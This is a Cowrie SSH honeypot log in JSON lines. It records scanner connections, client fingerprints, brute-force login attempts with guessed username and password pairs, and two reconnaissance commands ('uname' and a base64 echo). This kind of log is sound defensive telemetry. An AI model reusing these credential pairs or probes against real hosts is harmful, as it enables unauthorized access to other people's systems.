{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:27.094870Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01072000","message":"login attempt [admin/01072000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:27.591866Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:27.712559Z","src_ip":"185.156.73.233","session":"a1a68e80e207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"010679","message":"login attempt [admin/010679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:28.702295Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:28.903582Z","src_ip":"185.156.73.233","session":"a1a68e80e207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01041995","message":"login attempt [admin/01041995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:29.812482Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"01041961","message":"login attempt [admin/01041961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:30.921397Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"010289","message":"login attempt [admin/010289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:32.030297Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:51:33.139983Z","src_ip":"2.57.121.112","session":"be6f0563080e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":55628,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0053ed2c598","protocol":"ssh","message":"New connection: 92.118.39.56:55628 (10.17.0.5:22) [session: f0053ed2c598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:52:15.419674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:52:15.427954Z","src_ip":"92.118.39.56","session":"f0053ed2c598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:52:15.527207Z","src_ip":"92.118.39.56","session":"f0053ed2c598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:52:15.951435Z","src_ip":"92.118.39.56","session":"f0053ed2c598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:52:17.060389Z","src_ip":"92.118.39.56","session":"f0053ed2c598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.177.179.43","src_port":43820,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38da2210d4f","protocol":"ssh","message":"New connection: 117.177.179.43:43820 (159.203.135.109:22) [session: f38da2210d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:53:58.950305Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:53:59.237461Z","src_ip":"117.177.179.43","session":"f38da2210d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.177.179.43","src_port":44172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b010f3bbb321","protocol":"ssh","message":"New connection: 117.177.179.43:44172 (159.203.135.109:22) [session: b010f3bbb321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:53:59.521410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:53:59.527504Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:53:59.819117Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"---fuck_you----","message":"login attempt [root/---fuck_you----] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:00.662690Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:01.276775Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:01.280447Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:01.557420Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:01.562904Z","src_ip":"117.177.179.43","session":"b010f3bbb321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":56048,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85d6a15f5d1","protocol":"ssh","message":"New connection: 85.198.97.85:56048 (159.203.135.109:22) [session: f85d6a15f5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:14.282335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:14.289547Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:14.425182Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cause","message":"login attempt [root/cause] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:14.830342Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:15.135100Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:15.137961Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:15.276046Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:15.280909Z","src_ip":"85.198.97.85","session":"f85d6a15f5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":33166,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b1d8feb3c5","protocol":"ssh","message":"New connection: 92.118.39.56:33166 (10.17.0.5:22) [session: d8b1d8feb3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:24.196068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:24.200109Z","src_ip":"92.118.39.56","session":"d8b1d8feb3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:24.305997Z","src_ip":"92.118.39.56","session":"d8b1d8feb3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:24.659038Z","src_ip":"92.118.39.56","session":"d8b1d8feb3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:54:25.775853Z","src_ip":"92.118.39.56","session":"d8b1d8feb3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":46220,"dst_ip":"159.203.135.109","dst_port":22,"session":"3054ee691119","protocol":"ssh","message":"New connection: 185.156.73.233:46220 (159.203.135.109:22) [session: 3054ee691119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:20.708836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:22.400467Z","src_ip":"185.156.73.233","session":"3054ee691119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:22.503104Z","src_ip":"185.156.73.233","session":"3054ee691119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:23.301510Z","src_ip":"185.156.73.233","session":"3054ee691119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:24.389637Z","src_ip":"185.156.73.233","session":"3054ee691119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":38942,"dst_ip":"10.17.0.5","dst_port":22,"session":"506f35c0e673","protocol":"ssh","message":"New connection: 92.118.39.56:38942 (10.17.0.5:22) [session: 506f35c0e673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:27.802506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:27.847024Z","src_ip":"92.118.39.56","session":"506f35c0e673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:27.904025Z","src_ip":"92.118.39.56","session":"506f35c0e673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:28.318234Z","src_ip":"92.118.39.56","session":"506f35c0e673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:56:29.422966Z","src_ip":"92.118.39.56","session":"506f35c0e673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":44718,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c93d9007ce","protocol":"ssh","message":"New connection: 92.118.39.56:44718 (10.17.0.5:22) [session: 54c93d9007ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:30.739046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:58:30.743973Z","src_ip":"92.118.39.56","session":"54c93d9007ce","protocol":"ssh"}
